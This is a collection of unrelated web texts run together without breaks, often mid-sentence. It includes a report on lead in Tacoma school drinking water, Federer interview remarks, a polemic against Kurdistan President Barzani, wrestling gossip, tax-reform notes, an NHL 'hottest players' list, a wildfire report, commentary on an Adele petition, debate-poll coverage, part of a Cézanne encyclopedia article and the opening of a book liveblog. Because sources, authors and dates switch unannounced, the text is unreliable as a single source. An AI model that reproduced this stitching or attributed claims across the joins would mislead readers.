Authorities say the two public elementary schools were found to have high levels of lead in their drinking water contained up to 116 times more lead than a district standard allows.
Lead in water is measured in terms of parts per billion (ppb). If a test comes back with lead levels higher than 15 ppb, the EPA recommends that homeowners and municipalities take steps to reduce that level.
A preliminary analysis of the water quality testing from May 2015 at Reed and Mann elementary schools indicates that:
At Reed: Testing was done at 59 locations. 39 of those locations showed lead levels above 20 ppb. The levels ranged from 5 ppb to 2330 ppb.
At Mann: Testing was done at 69 locations. 23 of those locations showed lead levels above 20 ppb. The levels ranged from with 0 to 784 ppb.
That means some water tested as high as some of the homes in Flint Michigan’s water crisis. The highest level found in Flint was 13,000 ppb.
According to a Washington Post article, a cause for concern can start at 5 ppb. A team examining Flint's water crisis says 5 ppb is below the borderline for EPA acceptability, but they say levels this high can be a cause for concern, particularly for young children.
“We have very, very high contamination from lead in multiple locations in both schools,” said Tacoma Public Schools spokesman Dan Voelpel.
It’s unclear if the water with the highest levels were consumed at the Tacoma schools.
On Tuesday, the district said it is conducting an "immediate, complete audit of all past water quality test results, testing procedures, maintenance practices and communications to ensure – moving forward – there is a much better system in place."
A contractor took new samples at Mann and Reed Tuesday before school. Technicians collected samples from hundreds of locations from classrooms, water fountains, to kitchen areas. It is not yet known when the results of those tests will be in.
Bottled water ready to go for students and staff at Mann Elementary as lead testing continues. @KIRO7Seattle pic.twitter.com/mg1qKR3djC — Patranya Bhoolsuwan (@PatranyaKIRO7) April 26, 2016
“We hope to get results back quickly and accurately,” said Voepel.
Four more schools found to have high lead in drinking water in isolated locations.
Monday night, a district team reviewing records discovered four additional test reports from May 2015 that showed:
At Madison site, 60 water sources were tested. Of those, 3 isolated locations tested higher than the acceptable level of lead.
At DeLong Elementary School, 116 water sources were tested. Of those 7 isolated locations tested higher than the acceptable level of lead.
At Whittier Elementary School, 53 water sources were tested. Of those 2 isolated locations tested higher than the acceptable level of lead.
At Manitou Park Elementary School, 76 water sources were tested. Of those 4 isolated locations tested higher than the acceptable level of lead.
"At this time, it does not appear that any steps were taken (a year ago) to correct the problems at those locations. The vast majority of water at those locations showed no problems," a post on the district web site said.
In the meantime, the school district has ordered bottled water, shut off all water sources, and blocked access to the schools' drinking fountains until the district can determine the quality of the water at those specific locations and take steps to fix any issues.
The district is now trying to determine how, and why, test results showing high lead contamination sat without being reviewed for nearly a year.
“We’re investigating that right now,” Voelpel said. “They were overlooked when they came in, that’s unacceptable.”
The district's district's safety and environmental health manager has been placed on paid administrative leave pending an investigation into the testing and reporting protocol. No name has been released as the investigation is underway.
The Board of Health required all schools begin testing for lead in the water back in 2009, but lawmakers never provided any money to cover those tests.
The district says the problem isn't the water itself but may be the faucets and fixtures in the school.
Parents KIRO 7 spoke with said they are unhappy and scared.
(I’m) very scared,” said Larry Mais, who has an 8-year-old son at Reed Elementary School. “Because it could affect kids very dearly.”
Shelly Williams was dropping off her 10-year-old daughter at Reed Tuesday morning. She says her fourth- grader has been coming to this school since she started first grade.
“That’s a long time to be exposed to lead and parents not to know,” said Williams.
The Tacoma Pierce County Health Department is stopping short of advising parents take action and have their children tested for lead exposure.
“If a parent, if a teacher is concerned they should check in with their healthcare provider,” said department communications head Edie Jeffers.
The school district provided a FAQ Monday:
How long will the students be drinking bottled water?
Indefinitely until the district can determine the quality of the water and take steps to fix any issues that are uncovered.
How many bottles of water is each student allowed throughout the day?
Students and staff are allowed as many bottles as they need.
More information on high lead levels in water at 2 Tacoma schools here: https://t.co/8bxgGEgBAn pic.twitter.com/WtrySyRbdq — Kevin McCarty (@KevinKIRO7) April 26, 2016
Is bottled water being used for food preparation?
Yes.
Are you testing water at all of the schools district-wide?
Yes. [Tacoma Schools is] working on a plan to test every school.
What will happen in Tuesday morning's testing?
A water sampling contractor will take new water samples from dozens of locations at both Mann and Reed elementary schools Tuesday morning before school. Every location in the schools that could be used as a drinking water source will be tested, including but not limited to kitchen and restroom sinks, drinking fountains and classroom sinks. Those samples will be sent to a testing lab, and [Tacoma Schools] hopes to have the results back by Wednesday. Meanwhile, [Tacoma Schools] will continue to provide bottled water to both schools until we have the results back, identify all locations with high lead content and fix those problem areas. (Note: Technicians told KIRO Tuesday it was "ambitious" to think the results would be in by Wednesday).
How long will it take to receive water test results?
[Tacoma Schools is] not sure yet how long the testing and results will take.
When you have test results, will you share them publicly?
Yes.
How many schools have been tested?
[Tacoma Schools'] preliminary analysis indicates our voluntary testing program began about 2012. Only at the elementary schools. And only several each year on a rotation. [Tacoma Schools is] still compiling records to determine how many schools were tested, what the results were and what, if anything, was done to fix any higher than acceptable lead levels.
Where can I find more information about lead?
Please visit the Tacoma-Pierce County Health Department’s webpage on lead frequently asked questions and resources.
© 2019 Cox Media Group.At the Canadian Open, Roger Federer soundly defeated Peter Polansky to enter the Round of 16. Later, during the press conference, he opened up about the 2016 season where he had started to doubt himself. He said that when he went into surgery, he was really sad. “I was rather worried about how I was going to come out of it. When I did come out of it, I was happy I woke up again. I was sad that I had an operated knee. It was actually quite emotional for me. I was scared, as well, at the same time just to be in pain, of the unknown, I guess”
Federer compared this season to the 2006 season and admitted that he didn’t think that the current season would start of on a similar vein to the 2006 season. But he was glad to be completely healthy and that was all that mattered. The break had given him enough time to recuperate and give him a different mindset. “I could speak differently to the press. Rather than saying, I’m here, hopefully first goal is a quarters, maybe a semis, and if I’m there, maybe I can win the tournament. It was quite nice to come into Australia and say, Look, even if I win first round, I leave injury-free, it’s better than playing semis, being injured, having to have surgery.”
Federer even spoke about Andy Roddick being inducted into the Hall of Fame. He was told that Roddick told the press that Roger was the first to congratulate him and that he was humbled and touched. “I knew it was going to be emotional for him and his team and his family and everybody. Yeah, getting into the Hall of Fame, being a Hall of Famer, is a big, big deal. So I wanted to be there and make him know that I was there with him, and I cared for him, and I wished him only the best. watched the entire speech that he had when he got inducted. I just thought, I have to. So many memories with Andy. I like the guy so much. Can’t wait to see him again and talk to him about it.”By Harem Karem and Kamal Chomani:
President Barzani’s two terms in office ended in 2013, although he has managed to cling on for two more years after striking a shady deal, exploiting a loophole in the system, with his so-called strategic partner, the PUK (Patriotic Union of Kurdistan). Barzani’s presidency was revived by Hero Ibrahim Ahmed – in the absence of her severely ill husband, and PUK secretary general, Jalal Talabani – in an act that can only be defined as a ‘desperate measure’ to protect Talabani’s interests. In recent months, however, Barzani’s post has again sparked controversy, as his tenure fast approaches its expiration date (19 August 2015).
To make sense of all this, we shall briefly explain the foundations on which the presidential system stands:
Historical Aspect
In 1992, the Kurdistan Region’s first election was held, during which none of the political parties could achieve the necessary 50%+1 to appoint one of the two rivals, Barzani or Talabani, as national leader. Neither would compromise or work together and so they agreed to disagree and divided the region into two, green and yellow, zones on a 50/50 basis. However, their continued disagreements soon sparked a disastrous civil war which claimed some 30,000 lives; both leaders are equally responsible for this.
When Talabani became the Iraqi President in 2005, the Kurdistan Regional Presidency was established, with more powers than the Parliament and the Kurdistan Regional Government (KRG), to counterbalance him. There followed a questionable election that formally positioned the former warlord Massoud Barzani as KRG President.
The Failure of Institutionalisation
The presidency, as a new institution in the Kurdistan Region (KR) with unlimited powers, was never institutionalised, despite scores of intellectuals calling for this. Barzani deliberately prevented the presidency from becoming a national institution, and he kept using the Presidential Palace as his KDP (Kurdistan Democratic Party) office too. The Vice President has been unable to exercise any powers, and the public has no real idea how the presidency is run, what the structure is and who the decision-makers are on both micro and macro levels. Barzani’s foreign relations, for example, have been both dubious and unregulated; during his official visits abroad, he is regularly accompanied by his immediate family members, including grandchildren, although he has often failed to include diplomats or members of the press in his team. His foreign relations agenda is managed by the KDP’s head of foreign relations, while the KRG’s foreign relations minister acts as an interpreter to the president. Barzani has misused his presidential powers, while working diligently in the interests of his political party.
Since Barzani’s 2005 inauguration, corruption has grown on an unprecedented scale, national resources have been squandered, private militias and intelligence services are increasingly loyal to their parties as opposed to the country, and there is ever-growing social inequality. The country is bankrupt and most people are struggling to make ends meet, while 10,000 millionaires and 15 billionaires have emerged in a short space of time. Society is polarized between lackeys who live on political parties’ handouts and good honest citizens who have to wait for wages that are three months behind. During Barzani’s term, four journalists and dozens of protesters were murdered while hundreds were subjected to torture by his KDP militiamen: not only has he failed to bring the murderers and torturers to justice, but he has even harboured them. The latest example of Barzani’s tribal system is the plight of Judge Hawzhen who has fled the Kurdistan Region in fear of his life after finding treacherous tribal gangsters – who had collaborated in Saddam’s crimes of Anfal before switching their support to the KDP and PUK in the hope of becoming untouchable – guilty last week.
Whenever there has been public outrage against some aspect of his rotten system, Barzani’s answer has been to set up a committee to investigate it, although no substantive conclusions were reached by any of the committees he has formed over the past decades. To list a few, there was the committee to investigate traitors who assisted the Anfal Campaign, the committee to bring justice to those who have invaded public lands between Erbil and Pirmam, the committee to investigate the murdered journalists, the committee to investigate corruption, and so on …
Presidential or Parliamentary System?
It is a well-established Middle-Eastern-Fact that the presidential system only breeds dictators and corrupt leaders; there are numerous examples. Even though KDP representatives in parliament have been tirelessly trying to convince the public that KR’s political system is semi-presidential, according to article 60 of KR’s draft Constitution, the Presidency is “the highest executive power and chief of general staff”. According to legistlation on the presidency, including the law hastily passed when Barzani’s term was extended in 2013, the political system has become an absolute presidency, since the president’s powers are greater than those of any other president in the region.
Here are a few of the KR President’s powers which, along with many others, have concerned the public (except KDP loyalists):
Highest executive power in KR
Chief of General Staff
Power to dissolve Parliament
Can announce a State of Emergency [without parliament’s consent]
Power to appoint KR’s Constitutional Court members and members of the Judges Assembly
Power to control KR’s Security Council and KR’s Intelligence services
Most importantly, as this has caused much misery over the past decade, the power to approve or reject legislation passed by parliament
Over the past few years, opposition parties have called for a parliamentary system where the president is elected by parliament, and presidential powers are limited by and accountable to parliament. There is currently a consensus between Gorran, KIU, KIG and potentially also the PUK which can become enshrined in the draft constitution. These four parties combined hold 58 of the 111 parliamentary seats and they are working together to ratify a revised draft constitution. Additionally, the PUK and Gorran have been working to form an alliance recently and this could mean the PUK will abandon its KDP strategic partner. This would likely spark a conflict between the former allies, because the KDP supported the PUK to secure Iraq’s presidential seat and, in return, they will expect the PUK to uphold their end of the deal and support the KDP in retaining the KR presidency. Should the Gorran-PUK alliance materialise, the parliamentary system will prevail – and will the KR presidential seat be claimed too?
Why Should Barzani Leave the Presidency?
Barzani has clearly failed to uphold the rule of law and basic democratic principles; he has failed to demonstrate leadership other than to his party supporters; he has failed to protect national interests; he has failed to build the national infrastructure and a decent economy. Like other despots, he has built the system around himself, making it near impossible to remove him peacefully unless he goes willingly; his background is bloody and treacherous. Worse still, he is intending to rule forever; Dr Farhad Pirbal, a pro-KDP university lecturer, claims that, during his recent meeting with Barzani, he proposed a monarchical system and putting Barzani on the throne, to which Barzani replied: “I fully agree with your proposal”. This account has not been rejected by Barzani’s office
The president’s record in KR’s current existential crisis is not distinguished. When the war began, initially it was PUK forces that took the fight to IS from the green zone, when IS was still relatively weak, while Barzani was refusing to engage in the conflict. His KDP forces were standing by doing nothing until IS attacked Shingal and captured 1000 women and children and then posed a direct threat to his yellow zone: only then did he act. To date, he hasn’t offered an explanation as to why he failed the Yazidis. Even the war hasn’t motivated Barzani to get his act together and unite the Peshmerga into a strong, national army.
There can only be two explanations for the multidimensional crisis Barzani has dragged the nation into: either he is too weak to accept responsibility and tackle these matters head on or else he is directly involved in the wrongdoing and exploitation of national resources. Either way, he hasn’t got what it takes to run the region and it’s time we saw the back of him.
Who is the Alternative to Barzani?
For the KDP, the question of who could replace Barzani is frightening because they lack an influential leader who can be accepted by both of the main wings of their party. The PUK seems to have given up on the position since they already have Iraq’s presidency. Gorran also hasn’t declared any interest in the presidency; their focus is mainly on strengthening the parliamentary system. However, currently two strong candidates are enjoying widespread public support: either Gorran leader Nawshirwan Mustafa or PUK deputy secretary Barham Salih could get combined PUK and Gorran backing, although neither has publicly declared his intentions.
As it stands, it seems that the PUK, Gorran, KIU and KIG might be willing to accept another KDP candidate, or maybe even tolerate another term for Barzani, if the KDP accepts constitutional amendments to establish a full parliamentary system and limit the powers of the president. If the parties do not reach a consensus in the next few months, KR will face a political crisis which could potentially lead to civil unrest. The future then will be unclear.- Before Monday's RAW hit the air, the original script they had for Chris Jericho's Highlight Reel was a "really bad" one so they changed it completely and spent hours re-doing the segment. There was also a problem with the Jeritron that was in the ring. During the playing of The Marine 3 trailer, the WWE ring crew had to remove the Jeritron from the ring. This caused more problems for the segment and Jericho was forced to improvise.
The segment really took a turn for the worse when Brad Maddox came out. The Jeritron was supposed to be involved in Maddox's presentation but it wasn't in the ring anymore, he lost track and flubbed his promo on live TV.
Even before Maddox came out, Vince McMahon had instructed Michael Cole to bury the segment on commentary. There was some heat on Cole with the feeling that the segment was bad but most people wouldn't have noticed or said anything if it weren't for his comments drawing attention.
Backstage, Vince was calling the segment one of the worse ever and Maddox was the one blamed.
Source: F4WOnline(CNN) Quietly, in the final hours of the Senate budget debate last week, a dam of sorts broke, with House GOP leaders agreeing to small-ish technical changes to the Senate budget that would allow them to pass it as is.
Minor as it seemed (the substitute amendment that contained these changes was approved with little fanfare), this was one of the more important moments of the tax reform debate so far.
It showed the House, most notably the chamber's conservative block, willing to back off a centrally held tenet of their ideological beliefs in order to clear the path for tax reform. In other words, the political imperative that this must move at all costs, actually showed itself, for now, to be true.
For GOP leaders, it's a huge signal. And it's also a big logistical boost.
The House and Senate negotiations to reconcile the budget would've taken a week or two. Now the House is slated to pass the budget this week. And that means tax reform will start in earnest next week.
Timeline
* Expect the budget vote by Wednesday, if GOP leaders feel like they have the votes (and * they feel confident right now they'll get there.)
* House Ways and Means Republicans will huddle again twice this week on the details of the bill
* Expect the Ways and Means Republicans to release their tax reform bill as early as next week, aides say. This, obviously, is a huge, huge deal.
And yet...
Don't believe this was an easy thing. There's a reason the President had to get onto the House GOP conference call Sunday afternoon. Conservatives, who have staked so much principle-wise on these budget documents, are still very uncomfortable voting for the Senate budget.
The President's message was crystal clear, per people on the call: Gotta move now. This is everything for us and our party and anyone running for re-election in 2018 (which is, you know, everyone in the House who isn't retiring).
Trump kills 401(k) talk (we think)
This was floating around, and it wasn't clear how much juice it had, but the backlash over the course of the last 72 hours has been an intense. And as such, the President put a stake in its heart Monday morning. At least that's what it appears, via his tweet:
"There will be NO change to your 401(k). This has always been a great and popular middle class tax break that works, and it stays!"
There will be NO change to your 401(k). This has always been a great and popular middle class tax break that works, and it stays! — Donald J. Trump (@realDonaldTrump) October 23, 2017
Why was this floating around? Lawmakers need money to pay for this effort. Period. Every time someone gets angry about a change (see: state and local deduction repeal), that means GOPers are losing the money to pay for the bill. Again, tax reform is about brutally difficult trade offs.
Despite the optimism created by the above, things like this are always a great reminder that the hard work is still to come.
The fourth bracket
House Speaker Paul Ryan made pretty clear Republican were going to opt for the optional fourth bracket in their final plan. That doesn't mean a tax increase -- in fact, the idea that has been kicked around has been to leave the rate at the current highest level, 39.6%.
The big question has been the threshold -- a natural cut off is those earning $1 million.
From a messaging perspective, it's very helpful, aides acknowledge. From a revenue perspective, it's helpful as well. The big problem, of course, is falling away from the "everyone gets a tax cut mantra." Axios has a good rundown from Grover Norquist on this front. But aides say this has long been considered an option on the table. It makes sense from a revenue perspective. It makes sense from a messaging perspective. And there has been zero pushback from the White House on the idea, they add. It is not finalized yet, aides caution. But it is very much in play.There’s no question ice hockey is a rough sport and when it comes to the players of National Hockey League, most have major dental problems and scars from injuries.
So it might surprise you that beneath all that protective gear the players wear, some of the men are quite hot.
With the preseason well underway, here’s our compilation of the 20 hottest NHL players in 2014:
Kris Letang
Age: 27
Born: Montreal, Quebec
Position: Defence
Current Team: Pittsburgh Penguins
Image: 25stanley
Alex Wennberg
Age: 20
Born: Stockholm, Sweden
Position: Centre
Current Team: Columbus Blue Jackets
Image: @AlexieOuellette via Twitter
David Rundblad
Age: 23
Born: Lycksele, Sweden
Position: Defence
Current Team: Chicago Blackhawks
Image: whatsupyasieve
Ryan Kesler
Age: 30
Born: Livonia, Michigan
Position: Centre
Current Team: Anaheim Ducks
Image: Pacific Jock
Gabriel Landeskog
Age: 21
Born: Stockholm, Sweden
Position: Left wing
Current Team: Colorado Avalanche
Image: homorazzi
Erik Gudbranson
Age: 22
Born: Ottawa, Ontario
Position: Defence
Current Team: Florida Panthers
Image: changuksohn
Marcus Foligno
Age: 23
Born: Buffalo, New York (dual Canada-US citizenship)
Position: Left wing
Current Team: Buffalo Sabres
Image: US Presswire
Jonathan Toews
Age: 26
Born: Winnipeg, Manitoba
Position: Centre
Current Team: Chicago Blackhawks
Image: Michigan Avenue
Elias Lindholm
Age: 19
Born: Boden, Sweden
Position: Centre
Current Team: Carolina Hurricanes
Image: Twitter
Joffrey Lupul
Age: 31
Born: Fort Saskatchewan, Alberta
Position: Left wing
Current Team: Toronto Maple Leafs
Image: Yahoo
Andrew Ference
Age: 35
Born: Edmonton, Alberta
Position: Defence
Current Team: Edmonton Oiler
Image: Hockey Deluxe
Tyler Seguin
Age: 22
Born: Brampton, Ontario
Position: Centre
Current Team: Dallas Stars
Image: Twitter
Beau Bennett
Age: 22
Born: Gardena, California
Position: Right wing
Current Team: Pittsburgh Penguins
Image: NHL
Chris Higgins
Age: 31
Born: Smithtown, New York
Position: Left wing
Current Team: Vancouver Canucks
Image: Twitter
Adam Henrique
Age: 24
Born: Brantford, Ontario
Position: Centre
Current Team: New Jersey Devils
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Jonathan Bernier
Age: 26
Born: Laval, Quebec
Position: Goaltender
Current Team: Toronto Maple Leafs
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Henrik Lundqvist
Age: 32
Born: Are, Sweden
Position: Goaltender
Current Team: New York Rangers
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Taylor Pyatt
Age: 34
Born: Thunder Bay, Ontario
Position: Left wing
Current Team: Unrestricted free agent (temporarily NLA Genève-Servette HC)
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Brendan Smith
Age: 25
Born: Mimico, Ontario
Position: Defence
Current Team: Detroit Red Wings
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Jared Boll
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Born: Charlotte, North Carolina
Position: Right wing
Current Team: Columbus Blue Jackets
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Feature Image: ESPNTwo firefighters die in LA wildfire
Updated
A five-day-old wildfire burning out of control in the Los Angeles foothills and forest has claimed its first victims - two firefighters whose vehicle plummeted off the side of a road.
They are the first fatalities of the fire, which has scorched more than 17,000 hectares.
The flames have destroyed at least 18 homes and are threatening a further 10,000. They are also encroaching on the region's telecommunications nerve centre.
California Governor Arnold Schwarzenegger rushed back from Senator Edward Kennedy's funeral to survey the state's worst fire, warning residents to heed evacuation orders for the "very dangerous" blaze.
Flames could be seen stretching 24 kilometres above the heavily populated foothills, where an estimated 2,000 homes were under evacuation.
Smoke mushroomed into huge clouds, some 20,000 feet high and visible from hundreds of kilometres away.
"What we have seen today was extreme fire behaviour once again," Fire Commander Mike Dietrich said.
"But there were excellent saves made in the foothill communities, some darn good firefighting."
The two dead firefighters were from Los Angeles County Fire and had been working deep in the Angeles National Forest Sunday afternoon when their vehicle careened down a slope.
At nightfall, firefighters focused on Mount Wilson, the site of transmission towers for television and radio broadcasters and emergency services.
Planes dumped water in the area, but Mr Dietrich said the fire could reach the towers late Sunday or early Monday (local time).
More than 2,800 firefighters were on the ground, coming from as far away as Wyoming and Montana, trying to build more than 160 km of fire protection lines.
The fire that started on Wednesday (local time) above the exclusive community of La Canada Flintridge is only 5 per cent contained and officials expect that, with hot temperatures and low humidity, it will grow larger.
The cause of the fire is being investigated.
- Reuters
Topics: emergency-incidents, fires, united-states
First postedA petition addressed to Adele, President Obama, and Billboard on Change.org demands that the singer admit that she has petition addressed to Adele, President Obama, and Billboard on Change.org demands that the singer admit that she has “little talent” and is succeeding mainly because of her white privilege
“Adele sold over 3.38 million copies of her album ‘25′ and the media is praising her as if Adele’s success has everything to do with talent,” reads the petition, written by Rhianna Jones.
“Rather, it’s her white privilege that has put her on top,” it declares.
The petitioners also “demand that Adele donates her money to African-American causes such as #Blacklivesmatter.”
It’s not clear why exactly the petition is also addressed to President Obama — perhaps Ms. Jones is outraged that the leader of the free world hasn’t pushed the less important issues like ISIS aside to deal with the more serious ones like a singer’s being white and successful at the same time. (I mean, would an executive order requiring Adele to admit she is only successful because she is white and give away her money to people who are not white in order to stay in the country really be too much to ask?)
— Katherine Timpf is a reporter for National Review Online.
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Honestly, Adele is an interesting target for this kind of criticism. First of all, despite the fact that some might think this would be impossible for a white person, Adele actually had a pretty tough upbringing: Her father was an admitted drunk who walked out on the family when she was just three years old. Second — white or not — hardly anyone thinks of Adele as having the typical look of a successful female performer. Whether someone is calling her fat or asking her how she manages to handle weighing more than others in her industry, any discussion of her image concerns how different she looks and how tough it must be to look that way.Although Jones’s petition had just 31 supporters at the time of publication, its very existence is ridiculous enough — and for so many reasons. After all, even if Adele did have a privileged upbringing and was a size 0 with D-cups, saying that she has just “a little talent” is objectively wrong. “A little talent” is the kind of phrase you use to describe someone who had the best voice in the high-school choir before going on to realize she needed to get a real job. Fan or not, anyone with ears and the ability to know what words mean would have to admit that Adele falls into a different category.Hillary Clinton at a post-debate party in Westbury, New York, on Monday. Justin Sullivan/Getty Images
Pundits—from the liberal stooges at Slate to cable talking heads to conservatives at the National Review to Republican operatives like Frank Luntz—generally felt on Monday night that Hillary Clinton had a better debate performance than Donald Trump. But who cares what pundits think? Let’s take it to the American people!
Unfortunately, the most meaningful indexes of how the debate changed what the American people think—new polls of likely voters taken entirely after Monday’s debate—won’t be out for several days. But what we do have are two quick polls that cover what debate viewers thought.
A PPP poll found that viewers thought Clinton had won the debate by a 51-40 margin. Among that group, 40 percent of viewers said the debate had made them more likely to vote for Clinton vs. 35 percent who said it’d made them more likely to vote for Trump.
A CNN/ORC poll found that 62 percent of viewers thought Clinton won vs. 27 percent who thought Trump did so. That’s the most lopsided result in CNN’s data set, which goes back until 1984, except for Romney smoking Obama 67–25 at their first debate in 2012 and a Bill Clinton triumph over George H.W. Bush and Ross Perot in 1992.* Of CNN’s respondents, 34 percent said the debate had made them more likely to vote for Clinton while 18 percent said it had made them more likely to vote for Trump.
It’s impossible to say with this limited data how many truly undecided voters had their minds changed Monday night, but at the least it’s evidence that HRC didn’t underwhelm the the expectation that she would perform more competently than Trump. She definitely went right out there and whelmed!
*Correction, Sept. 27: This post originally misstated that Clinton’s victory was the second-largest in CNN/ORC’s data set. It was the third-largest victory.
Read more Slate coverage of the 2016 campaign.Bubbles and bureaucrats: why housing affordability isn't being fixed
Posted
On the same day Australia's top economic bureaucrat accepted there's a property bubble, our PM unwittingly identified the biggest barrier to affordable housing - home owners. Michael Janda writes.
Australia's Prime
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much brighter.[39]
Leaving Hortense in the Marseille region, Cézanne moved between Paris and Provence, exhibiting in the first (1874) and third Impressionist shows (1877). In 1875, he attracted the attention of the collector Victor Chocquet, whose commissions provided some financial relief. But Cézanne's exhibited paintings attracted hilarity, outrage, and sarcasm. Reviewer Louis Leroy said of Cézanne's portrait of Chocquet: "This peculiar looking head, the colour of an old boot might give [a pregnant woman] a shock and cause yellow fever in the fruit of her womb before its entry into the world."[40]
In March 1878, Cézanne's father found out about Hortense and threatened to cut Cézanne off financially, but, in September, he relented and decided to give him 400 francs for his family. Cézanne continued to migrate between the Paris region and Provence until Louis-Auguste had a studio built for him at his home, Bastide du Jas de Bouffan, in the early 1880s. This was on the upper floor, and an enlarged window was provided, allowing in the northern light but interrupting the line of the eaves. This feature remains today. Cézanne stabilized his residence in L'Estaque. He painted with Renoir there in 1882 and visited Renoir and Monet in 1883.[41]
Mature period, Provence, 1878–1890 [ edit ]
In the early 1880s the Cézanne family stabilized their residence in Provence where they remained, except for brief sojourns abroad, from then on. The move reflects a new independence from the Paris-centered impressionists and a marked preference for the south, Cézanne's native soil. Hortense's brother had a house within view of Montagne Sainte-Victoire at Estaque. A run of paintings of this mountain from 1880 to 1883 and others of Gardanne from 1885 to 1888 are sometimes known as "the Constructive Period".[42]
The year 1886 was a turning point for the family. Cézanne married Hortense. In that year also, Cézanne's father died, leaving him the estate purchased in 1859; he was 47. By 1888 the family was in the former manor, Jas de Bouffan, a substantial house and grounds with outbuildings, which afforded a new-found comfort. This house, with much-reduced grounds, is now owned by the city and is open to the public on a restricted basis.[43]
For many years it was believed that Cézanne broke off his friendship with Émile Zola, after the latter used him, in large part, as the basis for the unsuccessful and ultimately tragic fictitious artist Claude Lantier, in the novel L'Œuvre.[44]
Recently letters have been discovered that refute this. A letter from 1887 demonstrates that their friendship endured.[45]
Final period, Provence, 1890–1906 [ edit ]
Cézanne's idyllic period at Jas de Bouffan was temporary. From 1890 until his death he was beset by troubling events and he withdrew further into his painting, spending long periods as a virtual recluse. His paintings became well-known and sought after and he was the object of respect from a new generation of painters.[43]
Pyramid of Skulls, c. 1901, The dramatic resignation to death informs several, The dramatic resignation to death informs several still life paintings Cézanne made in his final period between 1898 and 1905 which take the skulls as their subject. Today the skulls themselves remain in Cézanne's studio in a suburb of Aix-en-Provence
The problems began with the onset of diabetes in 1890, destabilizing his personality to the point where relationships with others were again strained. He traveled in Switzerland, with Hortense and his son, perhaps hoping to restore their relationship. Cézanne, however, returned to Provence to live; Hortense and Paul junior, to Paris. Financial need prompted Hortense's return to Provence but in separate living quarters. Cézanne moved in with his mother and sister. In 1891 he turned to Catholicism.[46]
Cézanne alternated between painting at Jas de Bouffan and in the Paris region, as before. In 1895, he made a germinal visit to Bibémus Quarries and climbed Montagne Sainte-Victoire. The labyrinthine landscape of the quarries must have struck a note, as he rented a cabin there in 1897 and painted extensively from it. The shapes are believed to have inspired the embryonic "Cubist" style. Also in that year, his mother died, an upsetting event but one which made reconciliation with his wife possible. He sold the empty nest at Jas de Bouffan and rented a place on Rue Boulegon, where he built a studio.[43]
The relationship, however, continued to be stormy. He needed a place to be by himself. In 1901 he bought some land along the Chemin des Lauves, an isolated road on some high ground at Aix, and commissioned a studio to be built there (now open to the public). He moved there in 1903. Meanwhile, in 1902, he had drafted a will excluding his wife from his estate and leaving everything to his son. The relationship was apparently off again; she is said to have burned the mementos of his mother.[47]
From 1903 to the end of his life he painted in his studio, working for a month in 1904 with Émile Bernard, who stayed as a house guest. After his death it became a monument, Atelier Paul Cézanne, or les Lauves.[47]
"Cézanne's Doubt": essay by Maurice Merleau-Ponty [ edit ]
Cézanne's stylistic approaches and beliefs regarding how to paint were analyzed and written about by the French philosopher Maurice Merleau-Ponty who is primarily known for his association with phenomenology and existentialism.[48] In his 1945 essay entitled "Cézanne's Doubt", Merleau-Ponty discusses how Cézanne gave up classic artistic elements such as pictorial arrangements, single view perspectives, and outlines that enclosed color in an attempt to get a "lived perspective" by capturing all the complexities that an eye observes. He wanted to see and sense the objects he was painting, rather than think about them. Ultimately, he wanted to get to the point where "sight" was also "touch". He would take hours sometimes to put down a single stroke because each stroke needed to contain "the air, the light, the object, the composition, the character, the outline, and the style". A still life might have taken Cézanne one hundred working sessions while a portrait took him around one hundred and fifty sessions. Cèzanne believed that while he was painting, he was capturing a moment in time, that once passed, could not come back. The atmosphere surrounding what he was painting was a part of the sensational reality he was painting. Cèzanne claimed: "Art is a personal apperception, which I embody in sensations and which I ask the understanding to organize into a painting."[49]
Legacy [ edit ]
Victor Choquet, Baigneuses, etc.) View of the 1904 Salon d'Automne, photograph by Ambroise Vollard, Salle Cézanne (, etc.)
Cézanne's works were rejected numerous times by the official Salon in Paris and ridiculed by art critics when exhibited with the Impressionists. Yet during his lifetime Cézanne was considered a master by younger artists who visited his studio in Aix.[50]
Along with the work of Vincent van Gogh and Paul Gauguin, the work of Cézanne, with its sense of immediacy and incompletion, critically influenced Matisse and others prior to Fauvism and Expressionism.[51][52] After Cézanne died in 1906, his paintings were exhibited in a large museum-like retrospective in Paris, September 1907. The 1907 Cézanne retrospective at the Salon d'Automne greatly affected the direction that the avant-garde in Paris took, lending credence to his position as one of the most influential artists of the 19th century and to the advent of Cubism.
Inspired by Cézanne, Albert Gleizes and Jean Metzinger wrote:
Cézanne is one of the greatest of those who changed the course of art history... From him we have learned that to alter the coloring of an object is to alter its structure. His work proves without doubt that painting is not—or not any longer—the art of imitating an object by lines and colors, but of giving plastic [solid, but alterable] form to our nature. (Du "Cubisme", 1912)[50][53]
Cézanne's explorations of geometric simplification and optical phenomena inspired Picasso, Braque, Metzinger, Gleizes, Gris and others to experiment with ever more complex views of the same subject and eventually to the fracturing of form. Cézanne thus sparked one of the most revolutionary areas of artistic enquiry of the 20th century, one which was to affect profoundly the development of modern art. Picasso referred to Cézanne as "the father of us all" and claimed him as "my one and only master!" Other painters such as Edgar Degas, Pierre-Auguste Renoir, Paul Gauguin, Kasimir Malevich, Georges Rouault, Paul Klee, and Henri Matisse acknowledged Cézanne's genius.[50]
A prize in his memory, called the Cézanne medal, is granted by the city of Aix en Provence, in France for special achievement in the arts.[citation needed]
Cézanne's painting The Boy in the Red Vest was stolen from a Swiss museum in 2008. It was recovered in a Serbian police raid in 2012.[54]
The 2016 film Cézanne and I explores the friendship between the artist and Émile Zola.[55]
Art market [ edit ]
The Card Players, 1892–93, oil on canvas, 97 x 130 cm, Royal Family of Qatar Paul Cézanne,, 1892–93, oil on canvas, 97 x 130 cm, Royal Family of Qatar
On 10 May 1999, Cézanne's painting Rideau, Cruchon et Compotier sold for $60.5 million, the fourth-highest price paid for a painting up to that time. As of 2006, it was the most expensive still life ever sold at an auction. One of Cézanne's The Card Players was sold in 2011 to the Royal Family of Qatar for a price variously estimated at between $250 million ($278.4 million today) and possibly as high as $300 million ($334.1 million today), either price signifying a new mark for highest price for a painting; surpassed only by Leonardo da Vinci's Salvator Mundi in November 2017.[56][57]
Gallery [ edit ]
Paintings [ edit ]
Still life paintings [ edit ]
Watercolours [ edit ]
Portraits and self-portraits [ edit ]
See also [ edit ]
Notes [ edit ]
References [ edit ]
Further reading [ edit ]Kicking Jay liveblogs his way through his first read of a Song of Ice and Fire!
First, there’s lots of broken, poorly written summaries I jot down as I read, then all my noobish theories/speculation below the cut.
Follow for very sporadic updates and occasionally half-hearted apologies for said sporadicness.
It looks like maybe single-chapter updates are becoming a thing.
Bran:
